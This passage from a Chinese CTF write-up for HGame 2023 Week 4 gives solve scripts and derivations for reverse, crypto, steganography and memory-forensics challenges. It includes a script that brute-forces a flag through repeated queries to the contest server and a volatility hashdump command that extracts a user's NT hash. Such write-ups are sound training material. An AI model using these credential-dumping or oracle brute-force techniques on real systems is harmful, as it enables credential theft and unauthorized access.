    0, 0, 70, 0, 0, 0, 93, 0, 0, 0,
    22, 0, 0, 0, 152, 0, 0, 0, 56, 0,
    0, 0, 48, 0, 0, 0, 115, 0, 0, 0,
    56, 0, 0, 0, 193, 0, 0, 0, 94, 0,
    0, 0, 237, 0, 0, 0, 176, 0, 0, 0,
    41, 0, 0, 0, 90, 0, 0, 0, 24, 0,
    0, 0, 64, 0, 0, 0, 167, 0, 0, 0,
    253, 0, 0, 0, 10, 0, 0, 0, 30, 0,
    0, 0, 120, 0, 0, 0, 139, 0, 0, 0,
    98, 0, 0, 0, 219, 0, 0, 0, 15, 0,
    0, 0, 143, 0, 0, 0, 156, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 72, 0, 0, 0, 241, 0, 0, 0, 64,
    0, 0, 0, 33, 0, 0, 1, 53, 0, 0,
    0, 100, 0, 0, 1, 120, 0, 0, 0, 249,
    0, 0, 1, 24, 0, 0, 0, 82, 0, 0,
    0, 37, 0, 0, 1, 93, 0, 0, 0, 71,
    0, 0, 0, 253, 0, 0, 1, 105, 0, 0,
    0, 92, 0, 0, 1, 175, 0, 0, 0, 178,
    0, 0, 1, 236, 0, 0, 1, 82, 0, 0,
    1, 79, 0, 0, 1, 26, 0, 0, 0, 80,
    0, 0, 1, 133, 0, 0, 0, 205, 0, 0,
    0, 35, 0, 0, 0, 248, 0, 0, 0, 12,
    0, 0, 0, 207, 0, 0, 1, 61, 0, 0,
    1, 69, 0, 0, 0, 130, 0, 0, 1, 210,
    0, 0, 1, 41, 0, 0, 1, 213, 0, 0,
    1, 6, 0, 0, 1, 162, 0, 0, 0, 222,
    0, 0, 1, 166, 0, 0, 1, 202, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
    0, 0, 0, 0, 0, 0, 0, 0, 0, 0
]


def load(s):
    global data
    data1 = []
    cnt = 0
    number = 0
    for i in data:
        number += i << (cnt * 8)
        cnt += 1
        if cnt == 4:
            cnt = 0
            data1.append(number)
            number = 0
    data = data1
    for i in range(len(s)):
        data[i] = ord(s[i])


def encrypt(num, i):
    r1 = num + data[50 + i]
    r0 = data[100 + i]
    r1 = r1 ^ r0
    r2 = r1
    r1 = (r1 << 8) & 0xff00
    r2 = r2 >> 8
    r1 = r1 + r2
    return r1


dic = range(30, 127)

if __name__ == '__main__':
    load('')
    print(data[150:])
    print(data[189])
    ans = ''
    for i in range(41):
        correct = data[189 - i]
        for c in dic:
            encryptedNum = encrypt(c, i)
            if correct == encryptedNum:
                ans = ans + chr(c)
                print(ans)

运行即可获得flag:

hgame{y0ur_rever5e_sk1ll_i5_very_g0od!!}

说实话,本题其实在前期的数据处理中踩了坑,data变量是DWORD类型,理应是占4字节的,然而IDA导出的数组默认却成了char类型,无奈笔者只好自行转换。而在转换过程中,拼接的顺序也十分重要,千万不要拼反了,不然就会找不到任何规律,白白浪费时间。

[REVERSE] shellcode

其实这道题笔者花费了不少时间,尝试了各种各样的方法反编译go语言,然而始终没找到与文件加密相关的代码,发现使用了shellcode还是在偶然间看到题目名称的时候才想到的(所以做题先看题目真的很关键啊!)
将程序拖进IDA反编译后发现,程序解码了一个BASE64数据,根据动态调试,发现下文中syscall_Syscall函数运行的正是这段被解码的数据,显然十分可疑:
HGame 2023 Week4 部分Writeup_第9张图片
结合题目名称,我们可以知道,这是一段shellcode
于是将该内容提取出来,放入IDA反汇编,汇编代码如下:
HGame 2023 Week4 部分Writeup_第10张图片
然而笔者并没有学过汇编,只能盲人摸象,胡乱猜测。根据shl 4shr 5等操作,笔者猜测该段代码和文件加密有关,而且很可能是TEA加密,而密钥则是上面的四个值0x16,0x21,0x2c,0x37,于是编写解密程序尝试解密:

#include 
#include 
#include 
#include 

void decrypt(unsigned int *v, unsigned int *k) {
	unsigned int v0 = v[0], // v7
	             v1 = v[1]; // v9
	int delta = -1412567261;  // delta
	int sum = 2042487904; // v3
	unsigned int k0 = k[0], // v2
	             k1 = k[1], // v4
	             k2 = k[2], // v5
	             k3 = k[3]; // v6
	for (int i = 0; i < 32; i++) {
		v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
		v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
		sum -= delta;
	}
	v[0] = v0;
	v[1] = v1;
}

void doDecrypt(const char *c) {
	unsigned int si128[] = {0x16, 0x21, 0x2c, 0x37};
	char buf[50] = {0};
	memcpy(buf, c, strlen(c));
	decrypt((unsigned int *)&buf, si128);
	printf("%s", buf);
}

int __cdecl main() {
	doDecrypt(" i\xb3\xe4\xd0$i\x93");
	doDecrypt("D\xd1\x16\xa8\xf5\xd5\x82\xaa");
	doDecrypt("\xda\xf0y6\x06\xfd\x32\x7f");
	doDecrypt("\xd3\xc0`49I!\xb7");
	doDecrypt("\xa2ir\xe5\xfaQj\x83");

	return 0;
}

事实确实如此,运行程序后,得到了flag:

hgame{th1s_1s_th3_tutu's_h0mew0rk}

[CRYPTO] LLLCG

本题题目代码如下:

from Crypto.Util.number import *
from random import randint
from sage.all import next_prime
from flag import flag

class LCG():
    def __init__(self) -> None:
        self.n = next_prime(2**360)
        self.a = bytes_to_long(flag)
        self.seed = randint(1, self.n-1)

    def next(self):
        self.seed = self.seed * self.a + randint(-2**340, 2**340) % self.n
        return self.seed

lcg = LCG()

outputs = []
for i in range(40):
    outputs.append(lcg.next())

with open('output.txt', 'w') as f:
    f.write(str(outputs))

由于本题作者在取模的时候,漏加了一个括号,导致题目变得十分简单,简单来说,只需要取输出数组的前两个值:

arr[1] = 1137660125635315218550396257283379271126281654707140024628565116239043227654756862152080704553915295597833918194897961244358284543325452196119976528044019410771533996460493628849739976409844578782648330528014140288383
arr[2] = 1089651052473835282827308128311065828561396663364911240972959788909515306616863980465990986336276384903707375227394223034256042622812751981085694555292380388664573448420064229133421678240606441518887044132670115591301857935030769271271599367581377247424328062635288832121331371889491239538842244877683244987389057941199373965

计算 ⌊ a r r 2 ÷ a r r 1 ⌋ \lfloor arr_2 \div arr_1 \rfloor arr2÷arr1即可,因为
a r r 1 = s e e d ∗ a + ( x 1   M o d   n ) , x 1 ∈ [ − 2 340 , 2 340 ] arr_1 = seed * a + (x_1\ Mod\ n), x_1 \in [-2^{340}, 2^{340}] arr1=seeda+(x1 Mod n),x1[2340,2340]
a r r 2 = a r r 1 ∗ a + ( x 2   M o d   n ) , x 2 ∈ [ − 2 340 , 2 340 ] arr_2 = arr_1 * a + (x_2\ Mod\ n), x_2 \in [-2^{340}, 2^{340}] arr2=arr1a+(x2 Mod n),x2[2340,2340]
因为 x n < n x_n \lt n xn<n,所以 x n   M o d   n = x n x_n\ Mod\ n = x_n xn Mod n=xn
a r r 1 = s e e d ∗ a + x 1 arr_1 = seed * a + x_1 arr1=seeda+x1
a r r 2 = a r r 1 ∗ a + x 2 arr_2 = arr_1 * a + x_2 arr2=arr1a+x2
a r r 2 = ( s e e d ∗ a + x 1 ) ∗ a + x 2 , x 2 ∈ [ − 2 340 , 2 340 ] arr_2 = (seed * a + x_1) * a + x_2, x_2 \in [-2^{340}, 2^{340}] arr2=(seeda+x1)a+x2,x2[2340,2340]
此时
a r r 2 a r r 1 = ( s e e d ∗ a + x 1 ) ∗ a + x 2 s e e d ∗ a + x 1 = a + x 2 s e e d ∗ a + x 1 \frac{arr_2}{arr_1}=\frac{(seed * a + x_1) * a + x_2}{seed * a + x_1}=a+\frac{x_2}{seed * a + x_1} arr1arr2=seeda+x1(seeda+x1)a+x2=a+seeda+x1x2
又因为
s e e d = r a n d i n t ( 1 , n − 1 ) , n > 2 360 seed=randint(1, n-1), n>2^{360} seed=randint(1,n1),n>2360
所以,存在很大的可能,满足 s e e d > x 1 seed > x_1 seed>x1
因此,基本上可以确定, s e e d ∗ a + x 1 > x 2 seed*a+x_1>x_2 seeda+x1>x2,即 x 2 s e e d ∗ a + x 1 < 1 \frac{x_2}{seed * a + x_1}<1 seeda+x1x2<1

整除得到flag:

hgame{W0w_you_know_the_hidden_number_problem}

[CRYPTO] ECRSA

本题题目代码如下:

from sage.all import *
from sage.all_cmdline import *
from Crypto.Util.number import *
from secret import flag

Nbits = 512
x = bytes_to_long(flag)
f = open('./output', 'w')

def gen_pubkey(Nbits):
    p = getPrime(Nbits // 2)
    q = getPrime(Nbits // 2)
    n = p*q
    while True:
        a = getRandomInteger(Nbits // 2)
        b = getRandomInteger(Nbits // 2)
        if gcd(4*a**3 + 27*b**2, n) == 1:
            break
    E = EllipticCurve(Zmod(n), [a, b])
    e = getPrime(64)
    f.write(f"p={p}\nq={q}\n")
    return n, E, e

n, E, e = gen_pubkey(Nbits)
pt = E.lift_x(Integer(x))
ct = pt * e
f.write(f"n = {n}\na = {E.a4()}\nb = {E.a6()}\ne = {e}\n")
f.write(f"ciphertext = {long_to_bytes(int(ct.xy()[0]))}\n")

已知信息:

p = 115192265954802311941399019598810724669437369433680905425676691661793518967453
q = 109900879774346908739236130854229171067533592200824652124389936543716603840487
# n = p * q
n = 12659731371633323406361071735480743870942884407511647144758055911931321534333057725377899993936046070028289182446615763391740446071787318153462098556669611
a = 34573016245861396068378040882622992245754693028152290874131112955018884485688
b = 103282137133820948206682036569671566996381438254897510344289164039717355513886
e = 11415307674045871669
# ciphertext = b'f\xb1\xae\x08`\xe8\xeb\x14\x8a\x87\xd6\x18\x82\xaf1q\xe4\x84\xf0\x87\xde\xedF\x99\xe0\xf7\xdcH\x9ai\x04[\x8b\xbbHR\xd6\xa0\xa2B\x0e\xd4\xdbr\xcc\xad\x1e\xa6\xba\xad\xe9L\xde\x94\xa4\xffKP\xcc\x00\x907\xf3\xea'
cipher = 5378524437009518839112103581484521575801169404987837300959984214542709038676856596473597472098329866932106236703753833875049687476896652097889558230201322

先将ciphertext转成long,这个是*e后的x坐标,现在需要求出y坐标,直接使用lift_x函数由于数值过大,无法计算,因此可以使用以下代码进行计算:

R.<y> = Zmod(n)[]
f = x^3 + a*x + b - y^2
print(f.roots())

但是,由于 n = p ∗ q n=p*q n=pq(p、q为素数),无法直接计算出结果,需要拆开计算。

构思的计算过程如下:
y 2 ≡ x 3 + a x + b   ( M o d   n ) , n = p ∗ q y^2\equiv x^3+ax+b\ (Mod\ n), n=p*q y2x3+ax+b (Mod n),n=pq
{ y 2 ≡ x 3 + a x + b   ( M o d   p ) , y 2 ≡ x 3 + a x + b   ( M o d   q ) . \left\{ \begin{aligned} y^2\equiv x^3 + ax + b\ (Mod\ p), \\ y^2\equiv x^3 + ax + b\ (Mod\ q). \end{aligned} \right. {y2x3+ax+b (Mod p),y2x3+ax+b (Mod q).
x x x代入两式,求得 y 1 y_1 y1 y 2 y_2 y2,有
{ y 1 2 ≡ y 2 ( M o d   p ) , y 2 2 ≡ y 2   ( M o d   q ) . \left\{ \begin{aligned} y_1^2\equiv y^2 (Mod\ p), \\ y_2^2\equiv y^2\ (Mod\ q). \end{aligned} \right. {y12y2(Mod p),y22y2 (Mod q).
对于 y 1 y_1 y1,有
y 1 2 = y 2 + k p y_1^2 = y^2 + kp y12=y2+kp
( y 1 + y ) ( y 1 − y ) = k p (y_1+y)(y_1-y)=kp (y1+y)(y1y)=kp
所以
y 1 ≡ y   ( M o d   p ) y_1 \equiv y\ (Mod\ p) y1y (Mod p)
同理
y 2 ≡ y   ( M o d   q ) y_2 \equiv y\ (Mod\ q) y2y (Mod q)
令前式中 y 1 y_1 y1 y 2 y_2 y2对应的 k k k k 1 k_1 k1 k 2 k_2 k2
y = k 1 p + y 1 = k 2 q + y 2 y=k_1p+y_1=k_2q+y_2 y=k1p+y1=k2q+y2
k 1 p = k 2 q + y 2 − y 1 k_1p=k_2q+y_2-y_1 k1p=k2q+y2y1
p p p q q q取逆为 p − 1 p^{-1} p1,有
p − 1 p ≡ 1   ( M o d   q ) p^{-1}p \equiv 1\ (Mod\ q) p1p1 (Mod q)
( y 2 − y 1 ) p − 1 p ≡ y 2 − y 1   ( M o d   q ) (y_2-y_1)p^{-1}p\equiv y_2 - y_1\ (Mod\ q) (y2y1)p1py2y1 (Mod q)
故取 k 1 = ( y 2 − y 1 ) p − 1 k_1=(y_2-y_1)p^{-1} k1=(y2y1)p1
此时 y ′ = ( y 2 − y 1 ) p − 1 p + y 1 y^{'}=(y_2-y_1)p^{-1}p+y_1 y=(y2y1)p1p+y1
n n n取模后,即可求得 y y y

程序实现过程如下:

首先,先计算 Z m o d ( p ) Zmod(p) Zmod(p)域内的 y 1 y_1 y1,再计算 Z m o d ( q ) Zmod(q) Zmod(q)域内的 y 2 y_2 y2

R.<y> = Zmod(p)[]
f = x^3 + a*x + b - y^2
print(f.roots())

R.<y> = Zmod(q)[]
f = x^3 + a*x + b - y^2
print(f.roots())

解得

Mod p:
[(60316725576536008544362819709695572607167462139249474498633602356218818183892, 1), (54875540378266303397036199889115152062269907294431430927043089305574700783561, 1)]
Mod q:
[(105823306941028179927395299019710676471649082172062645166592994997652899394314, 1), (4077572833318728811840831834518494595884510028762006957796941546063704446173, 1)]

计算 y y y

y1 = 54875540378266303397036199889115152062269907294431430927043089305574700783561
y2 = 4077572833318728811840831834518494595884510028762006957796941546063704446173
t = (y2 - y1) * invert(p, q)
t = t * p + y1
y = t % n
print(y)
# 10199065317034107457489102957880808079053249053270397152093884588819660579939295485085835753530135777025454703813951607770954939197597311157418124430298722

这样,我们就得到了 c i p h e r cipher cipher对应的 y y y
接下来,分析椭圆曲线, Q = e P Q=eP Q=eP,我们已知 Q Q Q e e e,且 e e e为素数,需要求 P P P,大致思路如下:

已知 P P P为生成元的群的阶为 n n n,即 n P = 0 nP=0 nP=0
e e e n n n互素时,设 e − 1 e^{-1} e1 e e e n n n的逆,有
e − 1 e = k n + 1 e^{-1}e=kn+1 e1e=kn+1
e − 1 Q = e − 1 e P = k n P + P = P e^{-1}Q=e^{-1}eP=knP+P=P e1Q=e1eP=knP+P=P
所以
P = e − 1 Q P=e^{-1}Q P=e1Q

程序实现过程如下:

代入椭圆曲线求阶。此处由于 n n n不是素数,因此,求阶也用上面相同的方法,先在Zmod(p)定义椭圆曲线,求阶 o r d e r 1 order1 order1,再在Zmod(q)定义椭圆曲线,求阶 o r d e r 2 order2 order2
注:这里Sagemath求阶很慢,大概要一两分钟才能算出,千万不要以为算不出来停止程序!

E = EllipticCurve(Zmod(p), [a, b])
print(E(x, y).order())
E = EllipticCurve(Zmod(q), [a, b])
print(E(x, y).order())

# 57596132977401155970699509799405362334879094977438851681966286670288183598942
# 109900879774346908739236130854229171066947175298920763282658606446284241695225

接下来,对 e e e关于 o r d e r 1 order1 order1 o r d e r 2 order2 order2求逆,得到 e 1 − 1 e_1^{-1} e11 e 2 − 1 e_2^{-1} e21

order1 = 57596132977401155970699509799405362334879094977438851681966286670288183598942
print(invert(e, order1))
order2 = 109900879774346908739236130854229171066947175298920763282658606446284241695225
print(invert(e, order2))

# 52181148238999826269997348521669498523973297552529864092154146722475434456587
# 28860665691012025562690160190006496899036723712471327303075809420498864404529

将点 Q Q Q分别乘以 e 1 − 1 e_1^{-1} e11 e 2 − 1 e_2^{-1} e21,得到 x 1 x_1 x1 x 2 x_2 x2

E = EllipticCurve(Zmod(p), [a, b])
e_1 = 52181148238999826269997348521669498523973297552529864092154146722475434456587
print(E(x, y)*e_1)
E = EllipticCurve(Zmod(q), [a, b])
e_2 = 28860665691012025562690160190006496899036723712471327303075809420498864404529
print(E(x, y)*e_2)
# (48494309904806728376959072180812326156563261489632316320588491082808406223560 : 44195684491268406285064620278061419107453570569873836087529644869465508326701 : 1)
# (60096144340662420409544377664399834868314629713356791451054313519444106083801 : 108948218400988301261222221522876031794044560830571857879909922751073979018293 : 1)

x 1 x_1 x1 x 2 x_2 x2代入先前的计算式,得到 x x x

x1 = 48494309904806728376959072180812326156563261489632316320588491082808406223560
x2 = 60096144340662420409544377664399834868314629713356791451054313519444106083801
t = (x2 - x1) * invert(p, q)
t = t * p + x1
x = t % n
print(long_to_bytes(x))
# b'hgame{ECC_4nd_RSA_also_can_be_combined}'

得到flag:

hgame{ECC_4nd_RSA_also_can_be_combined}

后记(简化求y的步骤)

经过后期验证,发现其实如果将椭圆曲线的域设置在Zmod(p)Zmod(q),可以直接用lift_x函数获得对应的 y y y值:

E = EllipticCurve(Zmod(p), [a, b])
print(E.lift_x(Integer(x)))
E = EllipticCurve(Zmod(q), [a, b])
print(E.lift_x(Integer(x)))
# (61423820596960499948966299789412354362086674189471142391989200387209265786284 : 60316725576536008544362819709695572607167462139249474498633602356218818183892 : 1)
# (106017678275557872173671551321222618190193126754512628899301773486474824272398 : 4077572833318728811840831834518494595884510028762006957796941546063704446173 : 1)

笔者在求解的时候算出来的 y y y有两个值,和lift_x函数得到的结果有些不同,但是不影响最终计算结果。

[MISC] New_Type_Steganography

本题解法可能一定不是预期解
(因为这太蠢了,答对都是靠的运气)

后记:若将原有的方法优化一下,可以十分接近正解,就不用靠运气了~

先前使用纯黑和纯白图片测试,发现存在一些规律:

  • 该隐写算法在隐写之前,首先会将输入的字符串转换为二进制(大抵使用的是bytes_to_long函数)
  • 隐写全部作用于RGB的G通道
  • 隐写后的G相比隐写前的相差4(具体正负规律不太清楚,推测可能与二进制01有关)
  • 如果图片存在接近纯白或纯黑的像素点(abs(G-4)<4),则这个点很可能不进行隐写
  • 隐写存在某些规律,顺序不同隐写结果不同(这点很关键)

笔者认为,要使这道题的解题成为可能,首先必须得找到原图。

笔者备份的原图可从该链接下载:https://od.vvbbnn00.cn/t/izzbLS

将图片上传至https://saucenao.com/,查询后发现这张图来源于PIXIV:https://www.pixiv.net/artworks/97558083,下载原图(一定要是原图,不然可能会无法进行后续比对!),先与flag.png进行初步比较:
HGame 2023 Week4 部分Writeup_第11张图片
可以看见,虽然图像边缘与flag图有些许差异,但是差别很小,而且大多数不在G通道,而且将该图以空文本隐写一次,这些差异会消失,因此可以忽略不计。
于是,我们便拿到了原图,编写程序与flag图比对:

def diff(img1: Image, img2: Image, show=False):
    diff_set = set()
    w, h = img1.size
    cnt = 0
    for x in range(w):
        for y in range(h):
            cnt += 1
            if img2.getpixel((x, y))[1] - img1.getpixel((x, y))[1]:
                dif = img2.getpixel((x, y))[1] - img1.getpixel((x, y))[1]
                diff_set.add(f"{x},{y},{dif}")
                if show:
                    print(f"{x} {y} {cnt} {dif}")
    return diff_set

输出结果如下:

16 457 14858 4
16 660 15061 4
20 344 18345 4
20 437 18438 4
20 755 18756 4
44 803 40404 -4
44 899 40500 -4
60 312 54313 4
62 515 56316 4
85 49 76550 -4
88 878 80079 -4
92 343 83144 4
93 247 83948 4
95 241 85742 4
112 491 101292 4
121 633 109534 4
122 733 110534 4
129 795 116896 -4
147 826 133127 -4
154 367 138968 4
156 182 140583 4
162 869 146670 -4
170 743 153744 4
184 341 165942 4
187 119 168420 4
191 578 172479 4
199 49 179150 -4
209 328 188429 4
219 259 197360 4
220 705 198706 4
221 185 199086 4
222 560 200361 4
228 679 205880 4
231 404 208305 4
234 335 210936 4
237 159 213460 4
238 186 214387 4
245 516 221017 4
246 633 222034 4
247 695 222996 4
252 57 226858 -4
265 534 239035 4
271 882 244783 -4
281 216 253117 4
282 758 254559 4
296 154 266555 4
297 214 267515 4
298 510 268711 4
306 148 275549 4
309 486 278587 4
317 343 285644 4
319 830 287931 -4
324 316 291917 4
328 388 295589 4
330 158 297159 4
337 429 303730 4
344 179 309780 4
347 136 312437 4
354 530 319131 4
362 249 326050 -4
369 408 332509 4
371 310 334211 4
390 378 351379 4
393 766 354467 4
406 478 365879 -4
416 824 375225 -4
421 279 379180 4
426 409 383810 4
428 289 385490 -4
428 681 385882 -4
436 858 393259 4
440 268 396269 -4
447 640 402941 4
448 610 403811 4
466 711 420112 4
470 521 423522 -4
471 280 424181 -4
479 537 431638 -4
491 88 441989 -4
493 51 443752 -4
493 442 444143 -4
516 276 464677 -4
521 427 469328 -4
522 412 470213 4
524 614 472215 4
525 890 473391 -4
530 380 477381 4
536 278 482679 4
543 294 488995 4
545 481 490982 -4
554 87 498688 4
559 443 503544 -4
567 704 511005 4
573 86 515787 -4
597 491 537792 -4
602 895 542696 4
611 56 549957 -4
616 467 554868 -4
617 62 555363 -4
641 724 577625 4
654 876 589477 4
662 272 596073 4
662 596 596397 -4
664 328 597929 4
674 50 606651 -4
682 495 614296 -4
693 195 623896 -4
707 573 636874 -4
716 862 645263 4
731 842 658743 4
736 103 662504 -4
788 646 709847 -4
831 728 748629 4
840 651 756652 -4
848 638 763839 -4
865 686 779187 -4
873 632 786333 -4
875 225 787726 4
877 531 789832 4
878 865 791066 -4
887 32 798333 -4
903 819 813520 -4
909 558 818659 4
918 618 826819 4
919 670 827771 -4
921 236 829137 4
922 187 829988 4
930 816 837817 -4
938 518 844719 4
956 112 860513 4
959 659 863760 4
961 829 865730 -4
990 733 891734 4
1008 425 907626 4
1010 430 909431 4
1021 638 919539 4
1030 343 927344 4
1030 607 927608 4
1038 245 934446 4
1041 853 937754 -4
1053 380 948081 4
1068 835 962036 -4
1103 639 993340 4
1108 505 997706 4
1122 541 1010342 4
1125 221 1012722 4
1125 232 1012733 4
1139 64 1025165 -4
1143 55 1028756 -4
1144 895 1030496 -4
1145 129 1030630 4
1147 481 1032782 4
1162 242 1046043 4
1172 457 1055258 4
1184 664 1066265 4

差异点很多,所以暂时先放着。
笔者先后分别测试了隐写内容010110hhghgahgame

0 0b110000
309 486 278587 4
532 575 479376 4
765 633 689134 -4

1 0b110001
309 486 278587 4
532 575 479376 4
765 633 689134 -4
933 632 840333 4

01 0b11000000110001
93 247 83948 4
309 486 278587 4
426 409 383810 4
428 681 385882 -4
532 575 479376 4
765 633 689134 -4

10 0b11000100110000
309 486 278587 4
426 409 383810 4
428 681 385882 -4
532 575 479376 4
765 633 689134 -4
933 632 840333 4

h 0b1101000
309 486 278587 4
664 328 597929 4

hg 0b110100001100111
93 247 83947 4
222 560 200360 4
271 882 244782 -4
309 486 278586 4
369 408 332508 4
426 409 383809 4
428 681 385881 -4
554 87 498687 4
664 328 597928 4

hga 0b11010000110011101100001
93 247 83948 4
222 560 200361 4
271 882 244783 -4
309 486 278587 4
354 530 319131 4
369 408 332509 4
426 409 383810 4
428 681 385882 -4
493 442 444143 -4
554 87 498688 4
664 328 597929 4
887 32 798333 -4
903 819 813520 -4
1103 639 993340 4
1144 895 1030496 -4

hgame 0b110100001100111011000010110110101100101
93 247 83948 4
121 633 109534 4
222 560 200361 4
247 695 222996 4
271 882 244783 -4
309 486 278587 4
354 530 319131 4
369 408 332509 4
406 478 365879 -4
426 409 383810 4
428 681 385882 -4
493 442 444143 -4
524 614 472215 4
554 87 498688 4
664 328 597929 4
736 103 662504 -4
831 728 748629 4
887 32 798333 -4
903 819 813520 -4
930 816 837817 -4
956 112 860513 4
961 829 865730 -4
1038 245 934446 4
1103 639 993340 4
1144 895 1030496 -4

对比分析后发现,h的差异点全部都在hghgame中出现了,hg的差异点也全部在hgame中出现,而1中的部分点并不会在01中出现,因此,可以利用这个现象,进行类似sql盲注一样的爆破。
爆破代码如下:

import string
from io import BytesIO

import requests
from Crypto.Util.number import bytes_to_long
from PIL import Image
from tqdm import tqdm

width = 1200
height = 900

try_txt = 'hgame{'
dic = '_' + string.digits + string.ascii_letters


def diff(img1: Image, img2: Image, show=False):
    diff_set = set()
    w, h = img1.size
    cnt = 0
    for x in range(w):
        for y in range(h):
            cnt += 1
            if img2.getpixel((x, y))[1] - img1.getpixel((x, y))[1]:
                dif = img2.getpixel((x, y))[1] - img1.getpixel((x, y))[1]
                diff_set.add(f"{x},{y},{dif}")
                if show:
                    print(f"{x} {y} {cnt} {dif}")
    return diff_set


def getPic(text):
    ret = requests.post('http://week-4.hgame.lwsec.cn:31930/upload', files={
        'file': ori
    }, data={
        'text': text,
    }).content
    im = Image.open(BytesIO(ret))
    return im


if __name__ == '__main__':
    ori = open('steg/problem.png', 'rb').read()
    ori_img = Image.open('steg/problem.png')

    data = b'10'
    print(data.decode(), bin(bytes_to_long(data)))
    diff(ori_img, getPic(data), show=True)

    flag = diff(ori_img, Image.open(f'steg/flag.png'))
    already_exists = diff(ori_img, getPic(try_txt))
    while True:
        lis = []
        for t in tqdm(dic):
            img = getPic(try_txt + t)
            dif = diff(ori_img, img)
            if len(dif - flag) == 0 and len(already_exists - dif) == 0:
                print(try_txt + t)
                lis.append(t)
        try_txt += lis[0]
        print(''.join(lis))

爆破速度大概每2秒爆破一位,花了不少时间,最后每一位的可能解如下(一行为一位):

hgame{
01234567
_HIJKLMNOXYZ
LN
45delmtuDELMTU
01234567pqrstuvwPQRSTUVW
_GOW
DPT
139acikqsy
bhjprxz
159aeimquy
_RSVWZ
0189
hijklmnoHIJKLMNO
abcdefghijklmnoABCDEFGHIJKL
_VW
ABCPQRS
ptxPTX
45detu
fgnoFGNO
0246
4567defglmnotuvw
014589adehilmpqtuxyADEHILMPQTUXY
egEG
abchijkpqrsxyzABCHIJKPQRSXYZ
ac
02bpr
012389abchijkpqrsxyzABCHIJKPQRSXYZ
159aeimquyAEIMQUY
A

最后一个A笔者猜测是右大括号,尝试后确实满足。

接下来,就只能靠自己的想象力了,笔者初步拼接的结果如下:

4_N(e/E)(w/W)_Type_8(i/I)n_S(t/T)e(g/G)4n0(g/G)(r/R)ap(h/H)(y/Y)

由于大小写不可知,笔者还需要反复尝试找到最接近的解(dic变量一行一个,可以猜测多个解):

import string
from io import BytesIO

import requests
from PIL import Image
from tqdm import tqdm

dic = """4_New_Type_1mg_Steg4n0graphy"""

# for i in string.ascii_letters + string.digits + '-_^@':
#     print(i, bin(ord(i))[2:].zfill(8))


def dfs(s, curr):
    if curr == len(dd):
        print(f'4_N{s[0]}{s[1]}_Type_8{s[2]}n_S{s[3]}e{s[4]}4n0{s[5]}{s[6]}ap{s[7]}{s[8]}')
        return
    for i in dd[curr]:
        dfs(s + i, curr + 1)


width = 1200
height = 900


def diff(img1: Image, img2: Image):
    diff_set = set()
    w, h = img1.size
    cnt = 0
    for x in range(w):
        for y in range(h):
            cnt += 1
            if img2.getpixel((x, y))[1] - img1.getpixel((x, y))[1]:
                dif = img2.getpixel((x, y))[1] - img1.getpixel((x, y))[1]
                diff_set.add(f"{x},{y},{dif}")
    return diff_set
    # print(by)


def getPic(text):
    ret = requests.post('http://week-4.hgame.lwsec.cn:32647/upload', files={
        'file': ori
    }, data={
        'text': text,
    }).content
    im = Image.open(BytesIO(ret))
    return im


if __name__ == '__main__':
    dd = dic.split("\n")
    ori = open('steg/problem.png', 'rb').read()
    ori_img = Image.open('steg/problem.png')
    flag = diff(ori_img, Image.open(f'steg/flag.png'))
    for txt in dd:
        txt = 'hgame{%s}' % txt
        img = getPic(txt)
        dif = diff(ori_img, img)
        print(txt, len(flag - dif), len(dif - flag))

在所有可能中,值最小的解为:

4_New_Type_8in_Steg4n0graphy

相差了5,说明至少有5位二进制位是错误的,经过反复尝试后,最终得到正解:

4_New_Type_1mg_Steg4n0graphy

故最终flag为:

hgame{4_New_Type_1mg_Steg4n0graphy}

后记(爆破算法优化,更接近唯一解)

笔者在整理题解的时候发现,爆破过程中,笔者只关注了是否全部差异点都在flag内,而没有关注flag内少了多少个差异点,如果把这个也加上,取减少差异点最多的那些值,不就大概率是正解了吗?优化后代码如下:

import string
from io import BytesIO

import requests
from PIL import Image
from tqdm import tqdm

width = 1200
height = 900

try_txt = 'hgame{'
dic = '_' + string.digits + string.ascii_letters


def diff(img1: Image, img2: Image, show=False):
    diff_set = set()
    w, h = img1.size
    cnt = 0
    for x in range(w):
        for y in range(h):
            cnt += 1
            if img2.getpixel((x, y))[1] - img1.getpixel((x, y))[1]:
                dif = img2.getpixel((x, y))[1] - img1.getpixel((x, y))[1]
                diff_set.add(f"{x},{y},{dif}")
                if show:
                    print(f"{x} {y} {cnt} {dif}")
    return diff_set


def getPic(text):
    ret = requests.post('http://week-4.hgame.lwsec.cn:31930/upload', files={
        'file': ori
    }, data={
        'text': text,
    }).content
    im = Image.open(BytesIO(ret))
    return im


if __name__ == '__main__':
    ori = open('steg/problem.png', 'rb').read()
    ori_img = Image.open('steg/problem.png')
    flag = diff(ori_img, Image.open(f'steg/flag.png'))
    already_exists = diff(ori_img, getPic(try_txt))
    while True:
        minDelta = 0xfffffff
        lis = []
        for t in tqdm(dic):
            img = getPic(try_txt + t)
            dif = diff(ori_img, img)
            if len(dif - flag) == 0 and len(already_exists - dif) == 0:
                delta = len(flag - dif)
                if delta > minDelta:
                    continue
                if delta < minDelta:
                    lis = []
                    minDelta = delta
                lis.append(t)
                print(try_txt + t)
        try_txt += lis[0]
        print(''.join(lis))

虽然速度没有变快,全部爆破仍然需要一个多小时,但是未知量大大减少,除了末尾部分全部算对了,值得一用!

[MISC] ezWin - variables

本题考查基础的Windows内存取证,第一题的flag在环境变量中,最最最简单的办法就是打开vmem,全文搜索hgame即可,得到flag:

hgame{2109fbfd-a951-4cc3-b56e-f0832eb303e1}

[MISC] ezWin - auth

根据题目要求,使用volatility3进行内存取证。
首先,输入

python vol.py -f /home/kali/Desktop/win10_22h2_19045.2486.vmem windows.cmdline

查看命令行记录:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3OyufqUD-1675438517601)(null)]
发现提示:

flag2 is nthash of current user.txt

说明本题的flag是当前用户的nthash,根据常识,我们可以知道,用户名应该是Noname
于是输入

python vol.py -f /home/kali/Desktop/win10_22h2_19045.2486.vmem windows.hashdump 

